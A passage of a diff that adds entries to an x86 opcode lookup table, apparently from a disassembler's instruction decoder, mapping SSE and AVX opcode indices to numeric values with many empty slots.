+ /* 986 - _V_F3_0F_52 */ 0x403d,
+ /* 987 - */ 0,
+ /* 988 - */ 0,
+ /* 989 - */ 0,
+ /* 98a - */ 0,
+ /* 98b - */ 0,
+ /* 98c - _0F_53 */ 0x23ab,
+ /* 98d - */ 0,
+ /* 98e - _F3_0F_53 */ 0x23ac,
+ /* 98f - */ 0,
+ /* 990 - _V_0F_53 */ 0x403e,
+ /* 991 - */ 0,
+ /* 992 - _V_F3_0F_53 */ 0x403f,
+ /* 993 - */ 0,
+ /* 994 - */ 0,
+ /* 995 - */ 0,
+ /* 996 - */ 0,
+ /* 997 - */ 0,
+ /* 998 - _0F_54 */ 0x23ad,
+ /* 999 - _66_0F_54 */ 0x23ae,
+ /* 99a - */ 0,
+ /* 99b - */ 0,
+ /* 99c - _V_0F_54 */ 0x4040,
+ /* 99d - _V_66_0F_54 */ 0x4041,
+ /* 99e - */ 0,
+ /* 99f - */ 0,
+ /* 9a0 - */ 0,
+ /* 9a1 - */ 0,
+ /* 9a2 - */ 0,
+ /* 9a3 - */ 0,
+ /* 9a4 - _0F_55 */ 0x23af,
+ /* 9a5 - _66_0F_55 */ 0x23b0,
+ /* 9a6 - */ 0,
+ /* 9a7 - */ 0,
+ /* 9a8 - _V_0F_55 */ 0x4042,
+ /* 9a9 - _V_66_0F_55 */ 0x4043,
+ /* 9aa - */ 0,
+ /* 9ab - */ 0,
+ /* 9ac - */ 0,
+ /* 9ad - */ 0,
+ /* 9ae - */ 0,
+ /* 9af - */ 0,
+ /* 9b0 - _0F_56 */ 0x23b1,
+ /* 9b1 - _66_0F_56 */ 0x23b2,
+ /* 9b2 - */ 0,
+ /* 9b3 - */ 0,
+ /* 9b4 - _V_0F_56 */ 0x4044,
+ /* 9b5 - _V_66_0F_56 */ 0x4045,
+ /* 9b6 - */ 0,
+ /* 9b7 - */ 0,
+ /* 9b8 - */ 0,
+ /* 9b9 - */ 0,
+ /* 9ba - */ 0,
+ /* 9bb - */ 0,
+ /* 9bc - _0F_57 */ 0x23b3,
+ /* 9bd - _66_0F_57 */ 0x23b4,
+ /* 9be - */ 0,
+ /* 9bf - */ 0,
+ /* 9c0 - _V_0F_57 */ 0x4046,
+ /* 9c1 - _V_66_0F_57 */ 0x4047,
+ /* 9c2 - */ 0,
+ /* 9c3 - */ 0,
+ /* 9c4 - */ 0,
+ /* 9c5 - */ 0,
+ /* 9c6 - */ 0,
+ /* 9c7 - */ 0,
+ /* 9c8 - _0F_58 */ 0x23b5,
+ /* 9c9 - _66_0F_58 */ 0x23b6,
+ /* 9ca - _F3_0F_58 */ 0x23b7,
+ /* 9cb - _F2_0F_58 */ 0x23b8,
+ /* 9cc - _V_0F_58 */ 0x4048,
+ /* 9cd - _V_66_0F_58 */ 0x4049,
+ /* 9ce - _V_F3_0F_58 */ 0x404a,
+ /* 9cf - _V_F2_0F_58 */ 0x404b,
+ /* 9d0 - */ 0,
+ /* 9d1 - */ 0,
+ /* 9d2 - */ 0,
+ /* 9d3 - */ 0,
+ /* 9d4 - _0F_59 */ 0x23b9,
+ /* 9d5 - _66_0F_59 */ 0x23ba,
+ /* 9d6 - _F3_0F_59 */ 0x23bb,
+ /* 9d7 - _F2_0F_59 */ 0x23bc,
+ /* 9d8 - _V_0F_59 */ 0x404c,
+ /* 9d9 - _V_66_0F_59 */ 0x404d,
+ /* 9da - _V_F3_0F_59 */ 0x404e,
+ /* 9db - _V_F2_0F_59 */ 0x404f,
+ /* 9dc - */ 0,
+ /* 9dd - */ 0,
+ /* 9de - */ 0,
+ /* 9df - */ 0,
+ /* 9e0 - _0F_5A */ 0x23bd,
+ /* 9e1 - _66_0F_5A */ 0x23be,
+ /* 9e2 - _F3_0F_5A */ 0x23bf,
+ /* 9e3 - _F2_0F_5A */ 0x23c0,
+ /* 9e4 - _V_0F_5A */ 0x4050,
+ /* 9e5 - _V_66_0F_5A */ 0x4051,
+ /* 9e6 - _V_F3_0F_5A */ 0x4052,
+ /* 9e7 - _V_F2_0F_5A */ 0x4053,
+ /* 9e8 - */ 0,
+ /* 9e9 - */ 0,
+ /* 9ea - */ 0,
+ /* 9eb - */ 0,
+ /* 9ec - _0F_5B */ 0x23c1,
+ /* 9ed - _66_0F_5B */ 0x23c2,
+ /* 9ee - _F3_0F_5B */ 0x23c3,
+ /* 9ef - */ 0,
+ /* 9f0 - _V_0F_5B */ 0x4054,
+ /* 9f1 - _V_66_0F_5B */ 0x4055,
+ /* 9f2 - _V_F3_0F_5B */ 0x4056,
+ /* 9f3 - */ 0,
+ /* 9f4 - */ 0,
+ /* 9f5 - */ 0,
+ /* 9f6 - */ 0,
+ /* 9f7 - */ 0,
+ /* 9f8 - _0F_5C */ 0x23c4,
+ /* 9f9 - _66_0F_5C */ 0x23c5,
+ /* 9fa - _F3_0F_5C */ 0x23c6,
+ /* 9fb - _F2_0F_5C */ 0x23c7,
+ /* 9fc - _V_0F_5C */ 0x4057,
+ /* 9fd - _V_66_0F_5C */ 0x4058,
+ /* 9fe - _V_F3_0F_5C */ 0x4059,
+ /* 9ff - _V_F2_0F_5C */ 0x405a,
+ /* a00 - */ 0,
+ /* a01 - */ 0,
+ /* a02 - */ 0,
+ /* a03 - */ 0,
+ /* a04 - _0F_5D */ 0x23c8,
+ /* a05 - _66_0F_5D */ 0x23c9,
+ /* a06 - _F3_0F_5D */ 0x23ca,
+ /* a07 - _F2_0F_5D */ 0x23cb,
+ /* a08 - _V_0F_5D */ 0x405b,
+ /* a09 - _V_66_0F_5D */ 0x405c,
+ /* a0a - _V_F3_0F_5D */ 0x405d,
+ /* a0b - _V_F2_0F_5D */ 0x405e,
+ /* a0c - */ 0,
+ /* a0d - */ 0,
+ /* a0e - */ 0,
+ /* a0f - */ 0,
+ /* a10 - _0F_5E */ 0x23cc,
+ /* a11 - _66_0F_5E */ 0x23cd,
+ /* a12 - _F3_0F_5E */ 0x23ce,
+ /* a13 - _F2_0F_5E */ 0x23cf,
+ /* a14 - _V_0F_5E */ 0x405f,
+ /* a15 - _V_66_0F_5E */ 0x4060,
+ /* a16 - _V_F3_0F_5E */ 0x4061,
+ /* a17 - _V_F2_0F_5E */ 0x4062,
+ /* a18 - */ 0,
+ /* a19 - */ 0,
+ /* a1a - */ 0,
+ /* a1b - */ 0,
+ /* a1c - _0F_5F */ 0x23d0,
+ /* a1d - _66_0F_5F */ 0x23d1,
+ /* a1e - _F3_0F_5F */ 0x23d2,
+ /* a1f - _F2_0F_5F */ 0x23d3,
+ /* a20 - _V_0F_5F */ 0x4063,
+ /* a21 - _V_66_0F_5F */ 0x4064,
+ /* a22 - _V_F3_0F_5F */ 0x4065,
+ /* a23 - _V_F2_0F_5F */ 0x4066,
+ /* a24 - */ 0,
+ /* a25 - */ 0,
+ /* a26 - */ 0,
+ /* a27 - */ 0,
+ /* a28 - _0F_60 */ 0x23d4,
+ /* a29 - _66_0F_60 */ 0x23d5,
+ /* a2a - */ 0,
+ /* a2b - */ 0,
+ /* a2c - */ 0,
+ /* a2d - _V_66_0F_60 */ 0x4067,
+ /* a2e - */ 0,
+ /* a2f - */ 0,
+ /* a30 - */ 0,
+ /* a31 - */ 0,
+ /* a32 - */ 0,
+ /* a33 - */ 0,
+ /* a34 - _0F_61 */ 0x23d6,
+ /* a35 - _66_0F_61 */ 0x23d7,
+ /* a36 - */ 0,
+ /* a37 - */ 0,
+ /* a38 - */ 0,
+ /* a39 - _V_66_0F_61 */ 0x4068,
+ /* a3a - */ 0,
+ /* a3b - */ 0,
+ /* a3c - */ 0,
+ /* a3d - */ 0,
+ /* a3e - */ 0,
+ /* a3f - */ 0,
+ /* a40 - _0F_62 */ 0x23d8,
+ /* a41 - _66_0F_62 */ 0x23d9,
+ /* a42 - */ 0,
+ /* a43 - */ 0,
+ /* a44 - */ 0,
+ /* a45 - _V_66_0F_62 */ 0x4069,
+ /* a46 - */ 0,
+ /* a47 - */ 0,
+ /* a48 - */ 0,
+ /* a49 - */ 0,
+ /* a4a - */ 0,
+ /* a4b - */ 0,
+ /* a4c - _0F_63 */ 0x23da,
+ /* a4d - _66_0F_63 */ 0x23db,
+ /* a4e - */ 0,
+ /* a4f - */ 0,
+ /* a50 - */ 0,
+ /* a51 - _V_66_0F_63 */ 0x406a,
+ /* a52 - */ 0,
+ /* a53 - */ 0,
+ /* a54 - */ 0,
+ /* a55 - */ 0,
+ /* a56 - */ 0,
+ /* a57 - */ 0,
+ /* a58 - _0F_64 */ 0x23dc,
+ /* a59 - _66_0F_64 */ 0x23dd,
+ /* a5a - */ 0,
+ /* a5b - */ 0,
+ /* a5c - */ 0,
+ /* a5d - _V_66_0F_64 */ 0x406b,
+ /* a5e - */ 0,
+ /* a5f - */ 0,
+ /* a60 - */ 0,
+ /* a61 - */ 0,
+ /* a62 - */ 0,
+ /* a63 - */ 0,
+ /* a64 - _0F_65 */ 0x23de,
+ /* a65 - _66_0F_65 */ 0x23df,
+ /* a66 - */ 0,
+ /* a67 - */ 0,
+ /* a68 - */ 0,
+ /* a69 - _V_66_0F_65 */ 0x406c,
+ /* a6a - */ 0,
+ /* a6b - */ 0,
+ /* a6c - */ 0,
+ /* a6d - */ 0,
+ /* a6e - */ 0,
+ /* a6f - */ 0,
+ /* a70 - _0F_66 */ 0x23e0,
+ /* a71 - _66_0F_66 */ 0x23e1,
+ /* a72 - */ 0,
+ /* a73 - */ 0,
+ /* a74 - */ 0,
+ /* a75 - _V_66_0F_66 */ 0x406d,
+ /* a76 - */ 0,
+ /* a77 - */ 0,
+ /* a78 - */ 0,
+ /* a79 - */ 0,
+ /* a7a - */ 0,
+ /* a7b - */ 0,
+ /* a7c - _0F_67 */ 0x23e2,
+ /* a7d - _66_0F_67 */ 0x23e3,
+ /* a7e - */ 0,
+ /* a7f - */ 0,
+ /* a80 - */ 0,
+ /* a81 - _V_66_0F_67 */ 0x406e,
+ /* a82 - */ 0,
+ /* a83 - */ 0,
+ /* a84 - */ 0,
+ /* a85 - */ 0,
+ /* a86 - */ 0,
+ /* a87 - */ 0,
+ /* a88 - _0F_68 */ 0x23e4,
+ /* a89 - _66_0F_68 */ 0x23e5,
+ /* a8a - */ 0,
+ /* a8b - */ 0,
+ /* a8c - */ 0,
+ /* a8d - _V_66_0F_68 */ 0x406f,
+ /* a8e - */ 0,
+ /* a8f - */ 0,
+ /* a90 - */ 0,
+ /* a91 - */ 0,
+ /* a92 - */ 0,
+ /* a93 - */ 0,
+ /* a94 - _0F_69 */ 0x23e6,
+ /* a95 - _66_0F_69 */ 0x23e7,
+ /* a96 - */ 0,
+ /* a97 - */ 0,
+ /* a98 - */ 0,
+ /* a99 - _V_66_0F_69 */ 0x4070,
+ /* a9a - */ 0,
+ /* a9b - */ 0,
+ /* a9c - */ 0,
+ /* a9d - */ 0,
+ /* a9e - */ 0,
+ /* a9f - */ 0,
+ /* aa0 - _0F_6A */ 0x23e8,
+ /* aa1 - _66_0F_6A */ 0x23e9,
+ /* aa2 - */ 0,
+ /* aa3 - */ 0,
+ /* aa4 - */ 0,
+ /* aa5 - _V_66_0F_6A */ 0x4071,
+ /* aa6 - */ 0,
+ /* aa7 - */ 0,
+ /* aa8 - */ 0,
+ /* aa9 - */ 0,
+ /* aaa - */ 0,
+ /* aab - */ 0,
+ /* aac - _0F_6B */ 0x23ea,
+ /* aad - _66_0F_6B */ 0x23eb,
+ /* aae - */ 0,
+ /* aaf - */ 0,
+ /* ab0 - */ 0,
+ /* ab1 - _V_66_0F_6B */ 0x4072,
+ /* ab2 - */ 0,
+ /* ab3 - */ 0,
+ /* ab4 - */ 0,
+ /* ab5 - */ 0,
+ /* ab6 - */ 0,
+ /* ab7 - */ 0,
+ /* ab8 - */ 0,
+ /* ab9 - _66_0F_6C */ 0x23ec,
+ /* aba - */ 0,
+ /* abb - */ 0,
+ /* abc - */ 0,
+ /* abd - _V_66_0F_6C */ 0x4073,
+ /* abe - */ 0,
+ /* abf - */ 0,
+ /* ac0 - */ 0,
+ /* ac1 - */ 0,
+ /* ac2 - */ 0,
+ /* ac3 - */ 0,
+ /* ac4 - */ 0,
+ /* ac5 - _66_0F_6D */ 0x23ed,
+ /* ac6 - */ 0,
+ /* ac7 - */ 0,
+ /* ac8 - */ 0,
+ /* ac9 - _V_66_0F_6D */ 0x4074,
+ /* aca - */ 0,
+ /* acb - */ 0,
+ /* acc - */ 0,
+ /* acd - */ 0,
+ /* ace - */ 0,
+ /* acf - */ 0,
+ /* ad0 - _0F_6E */ 0x4075,
+ /* ad1 - _66_0F_6E */ 0x4076,
+ /* ad2 - */ 0,
+ /* ad3 - */ 0,
+ /* ad4 - */ 0,
+ /* ad5 - _V_66_0F_6E */ 0x4077,
+ /* ad6 - */ 0,
+ /* ad7 - */ 0,
+ /* ad8 - */ 0,
+ /* ad9 - */ 0,
+ /* ada - */ 0,
+ /* adb - */ 0,
+ /* adc - _0F_6F */ 0x23ee,
+ /* add - _66_0F_6F */ 0x23ef,
+ /* ade - _F3_0F_6F */ 0x23f0,
+ /* adf - */ 0,
+ /* ae0 - */ 0,
+ /* ae1 - _V_66_0F_6F */ 0x4078,
+ /* ae2 - _V_F3_0F_6F */ 0x4079,
+ /* ae3 - */ 0,
+ /* ae4 - */ 0,
+ /* ae5 - */ 0,
+ /* ae6 - */ 0,
+ /* ae7 - */ 0,
+ /* ae8 - _0F_70 */ 0x407a,
+ /* ae9 - _66_0F_70 */ 0x407b,
+ /* aea - _F3_0F_70 */ 0x407c,
+ /* aeb - _F2_0F_70 */ 0x407d,
+ /* aec - */ 0,
+ /* aed - _V_66_0F_70 */ 0x407e,
+ /* aee - _V_F3_0F_70 */ 0x407f,
+ /* aef - _V_F2_0F_70 */ 0x4080,
+ /* af0 - */ 0,
+ /* af1 - */ 0,
+ /* af2 - */ 0,
+ /* af3 - */ 0,
+ /* af4 - */ 0,
+ /* af5 - */ 0,
+ /* af6 - _0F_71_02 */ 0xd584,
+ /* af7 - */ 0,
+ /* af8 - _0F_71_04 */ 0xd590,
+ /* af9 - */ 0,
+ /* afa - _0F_71_06 */ 0xd59c,
+ /* afb - */ 0,
+ /* afc - */ 0,
+ /* afd - */ 0,
+ /* afe - _0F_72_02 */ 0xd5a8,
+ /* aff - */ 0,
+ /* b00 - _0F_72_04 */ 0xd5b4,
+ /* b01 - */ 0,
+ /* b02 - _0F_72_06 */ 0xd5c0,
+ /* b03 - */ 0,
+ /* b04 - */ 0,
+ /* b05 - */ 0,
+ /* b06 - _0F_73_02 */ 0xd5cc,
+ /* b07 - _0F_73_03 */ 0xd5d8,
+ /* b08 - */ 0,
+ /* b09 - */ 0,
+ /* b0a - _0F_73_06 */ 0xd5e4,
+ /* b0b - _0F_73_07 */ 0xd5f0,
+ /* b0c - _0F_74 */ 0x23f1,
+ /* b0d - _66_0F_74 */ 0x23f2,
+ /* b0e - */ 0,
+ /* b0f - */ 0,
+ /* b10 - */ 0,
+ /* b11 - _V_66_0F_74 */ 0x4081,
+ /* b12 - */ 0,
+ /* b13 - */ 0,
+ /* b14 - */ 0,
+ /* b15 - */ 0,
+ /* b16 - */ 0,
+ /* b17 - */ 0,
+ /* b18 - _0F_75 */ 0x23f3,
+ /* b19 - _66_0F_75 */ 0x23f4,
+ /* b1a - */ 0,
+ /* b1b - */ 0,
+ /* b1c - */ 0,
+ /* b1d - _V_66_0F_75 */ 0x4082,
+ /* b1e - */ 0,
+ /* b1f - */ 0,
+ /* b20 - */ 0,
+ /* b21 - */ 0,
+ /* b22 - */ 0,
+ /* b23 - */ 0,
+ /* b24 - _0F_76 */ 0x23f5,
+ /* b25 - _66_0F_76 */ 0x23f6,
+ /* b26 - */ 0,
+ /* b27 - */ 0,
+ /* b28 - */ 0,
+ /* b29 - _V_66_0F_76 */ 0x4083,
+ /* b2a - */ 0,
+ /* b2b - */ 0,
+ /* b2c - */ 0,
+ /* b2d - */ 0,
+ /* b2e - */ 0,
+ /* b2f - */ 0,
+ /* b30 - _0F_77 */ 0x23f7,
+ /* b31 - */ 0,
+ /* b32 - */ 0,
+ /* b33 - */ 0,
+ /* b34 - _V_0F_77 */ 0x4084,
+ /* b35 - */ 0,
+ /* b36 - */ 0,
+ /* b37 - */ 0,
+ /* b38 - */ 0,
+ /* b39 - */ 0,
+ /* b3a - */ 0,
+ /* b3b - */ 0,
+ /* b3c - _0F_78 */ 0x23f8,
+ /* b3d - _66_0F_78 */ 0x4085,
+ /* b3e - */ 0,
+ /* b3f - _F2_0F_78 */ 0x4086,
+ /* b40 - */ 0,
+ /* b41 - */ 0,
+ /* b42 - */ 0,
+ /* b43 - */ 0,
+ /* b44 - */ 0,
+ /* b45 - */ 0,
+ /* b46 - */ 0,
+ /* b47 - */ 0,
+ /* b48 - _0F_79 */ 0x23f9,
+ /* b49 - _66_0F_79 */ 0x23fa,
+ /* b4a - */ 0,
+ /* b4b - _F2_0F_79 */ 0x23fb,
+ /* b4c - */ 0,
+ /* b4d - */ 0,
+ /* b4e - */ 0,
+ /* b4f - */ 0,
+ /* b50 - */ 0,
+ /* b51 - */ 0,
+ /* b52 - */ 0,
+ /* b53 - */ 0,
+ /* b54 - */ 0,
+ /* b55 - */ 0,
+ /* b56 - */ 0,
+ /* b57 - */ 0,
+ /* b58 - */ 0,
+ /* b59 - */ 0,
+ /* b5a - */ 0,
+ /* b5b - */ 0,
+ /* b5c - */ 0,
+ /* b5d - */ 0,
+ /* b5e - */ 0,
+ /* b5f - */ 0,
+ /* b60 - */ 0,
+ /* b61 - */ 0,
+ /* b62 - */ 0,
+ /* b63 - */ 0,
+ /* b64 - */ 0,
+ /* b65 - */ 0,
+ /* b66 - */ 0,
+ /* b67 - */ 0,
+ /* b68 - */ 0,
+ /* b69 - */ 0,
+ /* b6a - */ 0,
+ /* b6b - */ 0,
+ /* b6c - */ 0,
+ /* b6d - */ 0,
+ /* b6e - */ 0,
+ /* b6f - */ 0,
+ /* b70 - */ 0,
+ /* b71 - */ 0,
+ /* b72 - */ 0,
+ /* b73 - */ 0,
+ /* b74 - */ 0,
+ /* b75 - */ 0,
+ /* b76 - */ 0,
+ /* b77 - */ 0,
+ /* b78 - */ 0,
+ /* b79 - */ 0,
+ /* b7a - */ 0,
+ /* b7b - */ 0,
+ /* b7c - */ 0,
+ /* b7d - */ 0,
+ /* b7e - */ 0,
+ /* b7f - */ 0,
+ /* b80 - */ 0,
+ /* b81 - */ 0,
+ /* b82 - */ 0,
+ /* b83 - */ 0,
+ /* b84 - _0F_7A_30 */ 0x23fc,
+ /* b85 - _0F_7A_31 */ 0x23fd,
+ /* b86 - */ 0,
+ /* b87 - */ 0,
+ /* b88 - */ 0,
+ /* b89 - */ 0,
+ /* b8a - */ 0,
+ /* b8b - */ 0,
+ /* b8c - */ 0,
+ /* b8d - */ 0,
+ /* b8e - */ 0,
+ /* b8f - */ 0,
+ /* b90 - */ 0,
+ /* b91 - */ 0,
+ /* b92 - */ 0,
+ /* b93 - */ 0,
+ /* b94 - */ 0,
+ /* b95 - */ 0,
+ /* b96 - */ 0,
+ /* b97 - */ 0,
+ /* b98 - */ 0,
+ /* b99 - */ 0,
+ /* b9a - */ 0,
+ /* b9b - */ 0,
+ /* b9c - */ 0,
+ /* b9d - */ 0,
+ /* b9e - */ 0,
+ /* b9f - */ 0,
+ /* ba0 - */ 0,
+ /* ba1 - */ 0,
+ /* ba2 - */ 0,
+ /* ba3 - */ 0,
+ /* ba4 - */ 0,
+ /* ba5 - */ 0,
+ /* ba6 - */ 0,
+ /* ba7 - */ 0,
+ /* ba8 - */ 0,
+ /* ba9 - */ 0,
+ /* baa - */ 0,
+ /* bab - */ 0,
+ /* bac - */ 0,
+ /* bad - */ 0,
+ /* bae - */ 0,
+ /* baf - */ 0,
+ /* bb0 - */ 0,
+ /* bb1 - */ 0,
+ /* bb2 - */ 0,
+ /* bb3 - */ 0,
+ /* bb4 - */ 0,
+ /* bb5 - */ 0,
+ /* bb6 - */ 0,
+ /* bb7 - */ 0,
+ /* bb8 - */ 0,
+ /* bb9 - */ 0,
+ /* bba - */ 0,
+ /* bbb - */ 0,
+ /* bbc - */ 0,
+ /* bbd - */ 0,
+ /* bbe - */ 0,
+ /* bbf - */ 0,
+ /* bc0 - */ 0,
+ /* bc1 - */ 0,
+ /* bc2 - */ 0,
+ /* bc3 - */ 0,
+ /* bc4 - */ 0,
+ /* bc5 - */ 0,
+ /* bc6 - */ 0,
+ /* bc7 - */ 0,
+ /* bc8 - */ 0,
+ /* bc9 - */ 0,
+ /* bca - */ 0,
+ /* bcb - */ 0,
+ /* bcc - */ 0,
+ /* bcd - */ 0,
+ /* bce - */ 0,
+ /* bcf - */ 0,
+ /* bd0 - */ 0,
+ /* bd1 - */ 0,
+ /* bd2 - */ 0,
+ /* bd3 - */ 0,
+ /* bd4 - */ 0,
+ /* bd5 - */ 0,
+ /* bd6 - */ 0,
+ /* bd7 - */ 0,
+ /* bd8 - */ 0,
+ /* bd9 - */ 0,
+ /* bda - */ 0,
+ /* bdb - */ 0,
+ /* bdc - */ 0,
+ /* bdd - */ 0,
+ /* bde - */ 0,
+ /* bdf - */ 0,
+ /* be0 - */ 0,
+ /* be1 - */ 0,
+ /* be2 - */ 0,
+ /* be3 - */ 0,
+ /* be4 - */ 0,
+ /* be5 - */ 0,
+ /* be6 - */ 0,
+ /* be7 - */ 0,
+ /* be8 - */ 0,
+ /* be9 - */ 0,
+ /* bea - */ 0,
+ /* beb - */ 0,
+ /* bec - */ 0,
+ /* bed - */ 0,
+ /* bee - */ 0,
+ /* bef - */ 0,
+ /* bf0 - */ 0,
+ /* bf1 - */ 0,
+ /* bf2 - */ 0,
+ /* bf3 - */ 0,
+ /* bf4 - */ 0,
+ /* bf5 - */ 0,
+ /* bf6 - */ 0,
+ /* bf7 - */ 0,
+ /* bf8 - */ 0,
+ /* bf9 - */ 0,
+ /* bfa - */ 0,
+ /* bfb - */ 0,
+ /* bfc - */ 0,
+ /* bfd - */ 0,
+ /* bfe - */ 0,
+ /* bff - */ 0,
+ /* c00 - */ 0,
+ /* c01 - */ 0,
+ /* c02 - */ 0,
+ /* c03 - */ 0,
+ /* c04 - */ 0,
+ /* c05 - */ 0,
+ /* c06 - */ 0,
+ /* c07 - */ 0,
+ /* c08 - */ 0,
+ /* c09 - */ 0,
+ /* c0a - */ 0,
+ /* c0b - */ 0,
+ /* c0c - */ 0,
+ /* c0d - */ 0,
+ /* c0e - */ 0,
+ /* c0f - */ 0,
+ /* c10 - */ 0,
+ /* c11 - */ 0,
+ /* c12 - */ 0,
+ /* c13 - */ 0,
+ /* c14 - */ 0,
+ /* c15 - */ 0,
+ /* c16 - */ 0,
+ /* c17 - */ 0,
+ /* c18 - */ 0,
+ /* c19 - */ 0,
+ /* c1a - */ 0,
+ /* c1b - */ 0,
+ /* c1c - */ 0,
+ /* c1d - */ 0,
+ /* c1e - */ 0,
+ /* c1f - */ 0,
+ /* c20 - */ 0,
+ /* c21 - */ 0,
+ /* c22 - */ 0,
+ /* c23 - */ 0,
+ /* c24 - */ 0,
+ /* c25 - */ 0,
+ /* c26 - */ 0,
+ /* c27 - */ 0,
+ /* c28 - */ 0,
+ /* c29 - */ 0,
+ /* c2a - */ 0,
+ /* c2b - */ 0,
+ /* c2c - */ 0,
+ /* c2d - */ 0,
+ /* c2e - */ 0,
+ /* c2f - */ 0,
+ /* c30 - */ 0,
+ /* c31 - */ 0,
+ /* c32 - */ 0,
+ /* c33 - */ 0,
+ /* c34 - */ 0,
+ /* c35 - */ 0,
+ /* c36 - */ 0,
+ /* c37 - */ 0,
+ /* c38 - */ 0,
+ /* c39 - */ 0,
+ /* c3a - */ 0,
+ /* c3b - */ 0,
+ /* c3c - */ 0,
+ /* c3d - */ 0,
+ /* c3e - */ 0,
+ /* c3f - */ 0,
+ /* c40 - */ 0,
+ /* c41 - */ 0,
+ /* c42 - */ 0,
+ /* c43 - */ 0,
+ /* c44 - */ 0,
+ /* c45 - */ 0,
+ /* c46 - */ 0,
+ /* c47 - */ 0,
+ /* c48 - */ 0,
+ /* c49 - */ 0,
+ /* c4a - */ 0,
+ /* c4b - */ 0,
+ /* c4c - */ 0,
+ /* c4d - */ 0,
+ /* c4e - */ 0,
+ /* c4f - */ 0,
+ /* c50 - */ 0,
+ /* c51 - */ 0,
+ /* c52 - */ 0,
+ /* c53 - */ 0,
+ /* c54 - */ 0,
+ /* c55 - _66_0F_7C */ 0x23fe,
+ /* c56 - */ 0,
+ /* c57 - _F2_0F_7C */ 0x23ff,
+ /* c58 - */ 0,
+ /* c59 - _V_66_0F_7C */ 0x4087,
+ /* c5a - */ 0,
+ /* c5b - _V_F2_0F_7C */ 0x4088,
+ /* c5c - */ 0,
+ /* c5d - */ 0,
+ /* c5e - */ 0,
+ /* c5f - */ 0,
+ /* c60 - */ 0,
+ /* c61 - _66_0F_7D */ 0x2400,
+ /* c62 - */ 0,
+ /* c63 - _F2_0F_7D */ 0x2401,
+ /* c64 - */ 0,
+ /* c65 - _V_66_0F_7D */ 0x4089,
+ /* c66 - */ 0,
+ /* c67 - _V_F2_0F_7D */ 0x408a,
+ /* c68 - */ 0,
+ /* c69 - */ 0,
+ /* c6a - */ 0,
+ /* c6b - */ 0,
+ /* c6c - _0F_7E */ 0x408b,
+ /* c6d - _66_0F_7E */ 0x408c,
+ /* c6e - _F3_0F_7E */ 0x2402,
+ /* c6f - */ 0,
+ /* c70 - */ 0,
+ /* c71 - _V_66_0F_7E */ 0x408d,
+ /* c72 - _V_F3_0F_7E */ 0x408e,
+ /* c73 - */ 0,
+ /* c74 - */ 0,
+ /* c75 - */ 0,
+ /* c76 - */ 0,
+ /* c77 - */ 0,
+ /* c78 - _0F_7F */ 0x2403,
+ /* c79 - _66_0F_7F */ 0x2404,
+ /* c7a - _F3_0F_7F */ 0x2405,
+ /* c7b - */ 0,
+ /* c7c - */ 0,
+ /* c7d - _V_66_0F_7F */ 0x408f,
+ /* c7e - _V_F3_0F_7F */ 0x4090,
+ /* c7f - */ 0,
+ /* c80 - */ 0,
+ /* c81 - */ 0,
+ /* c82 - */ 0,
+ /* c83 - */ 0,
+ /* c84 - _0F_AE_00 */ 0xd5fc,
+ /* c85 - _0F_AE_01 */ 0xd608,
+ /* c86 - _0F_AE_02 */ 0xd614,
+ /* c87 - _0F_AE_03 */ 0xd620,
+ /* c88 - _0F_AE_04 */ 0x4091,
+ /* c89 - _0F_AE_05 */ 0x4092,
+ /* c8a - _0F_AE_06 */ 0x4093,
+ /* c8b - _0F_AE_07 */ 0x4094,
+ /* c8c - */ 0,
+ /* c8d - */ 0,
+ /* c8e - _F3_0F_B8 */ 0x2406,
+ /* c8f - */ 0,
+ /* c90 - */ 0,
+ /* c91 - */ 0,
+ /* c92 - */ 0,
+ /* c93 - */ 0,
+ /* c94 - */ 0,
+ /* c95 - */ 0,
+ /* c96 - */ 0,
+ /* c97 - */ 0,
+ /* c98 - */ 0,
+ /* c99 - */ 0,
+ /* c9a - */ 0,
+ /* c9b - */ 0,
+ /* c9c - _0F_BA_04 */ 0x2407,
+ /* c9d - _0F_BA_05 */ 0x2408,
+ /* c9e - _0F_BA_06 */ 0x2409,
+ /* c9f - _0F_BA_07 */ 0x240a,
+ /* ca0 - _0F_BC */ 0x240b,
+ /* ca1 - */ 0,
+ /* ca2 - _F3_0F_BC */ 0x240c,
+ /* ca3 - */ 0,
+ /* ca4 - */ 0,
+ /* ca5 - */ 0,
+ /* ca6 - */ 0,
+ /* ca7 - */ 0,
+ /* ca8 - */ 0,
+ /* ca9 - */ 0,
+ /* caa - */ 0,
+ /* cab - */ 0,
+ /* cac - _0F_BD */ 0x240d,
+ /* cad - */ 0,
+ /* cae - _F3_0F_BD */ 0x240e,
+ /* caf - */ 0,
+ /* cb0 - */ 0,
+ /* cb1 - */ 0,
+ /* cb2 - */ 0,
+ /* cb3 - */ 0,
+ /* cb4 - */ 0,
+ /* cb5 - */ 0,
+ /* cb6 - */ 0,
+ /* cb7 - */ 0,
+ /* cb8 - _0F_C2 */ 0x4095,
+ /* cb9 - _66_0F_C2 */ 0x4096,
+ /* cba - _F3_0F_C2 */ 0x4097,
+ /* cbb - _F2_0F_C2 */ 0x4098,
+ /* cbc - _V_0F_C2 */ 0x4099,
+ /* cbd - _V_66_0F_C2 */ 0x409a,
+ /* cbe - _V_F3_0F_C2 */ 0x409b,
+ /* cbf - _V_F2_0F_C2 */ 0x409c,
+ /* cc0 - */ 0,
+ /* cc1 - */ 0,
+ /* cc2 - */ 0,
+ /* cc3 - */ 0,
+ /* cc4 - _0F_C4 */ 0x409d,
+ /* cc5 - _66_0F_C4 */ 0x409e,
+ /* cc6 - */ 0,
+ /* cc7 - */ 0,
+ /* cc8 - */ 0,
+ /* cc9 - _V_66_0F_C4 */ 0x409f,
+ /* cca - */ 0,
+ /* ccb - */ 0,
+ /* ccc - */ 0,
+ /* ccd - */ 0,
+ /* cce - */ 0,
+ /* ccf - */ 0,
+ /* cd0 - _0F_C5 */ 0x40a0,
+ /* cd1 - _66_0F_C5 */ 0x40a1,
+ /* cd2 - */ 0,
+ /* cd3 - */ 0,
+ /* cd4 - */ 0,
+ /* cd5 - _V_66_0F_C5 */ 0x40a2,
+ /* cd6 - */ 0,
+ /* cd7 - */ 0,
+ /* cd8 - */ 0,
+ /* cd9 - */ 0,
+ /* cda - */ 0,
+ /* cdb - */ 0,
+ /* cdc - _0F_C6 */ 0x40a3,
+ /* cdd - _66_0F_C6 */ 0x40a4,
+ /* cde - */ 0,
+ /* cdf - */ 0,
+ /* ce0 - _V_0F_C6 */ 0x40a5,
+ /* ce1 - _V_66_0F_C6 */ 0x40a6,
+ /* ce2 - */ 0,
+ /* ce3 - */ 0,
+ /* ce4 - */ 0,
+ /* ce5 - */ 0,
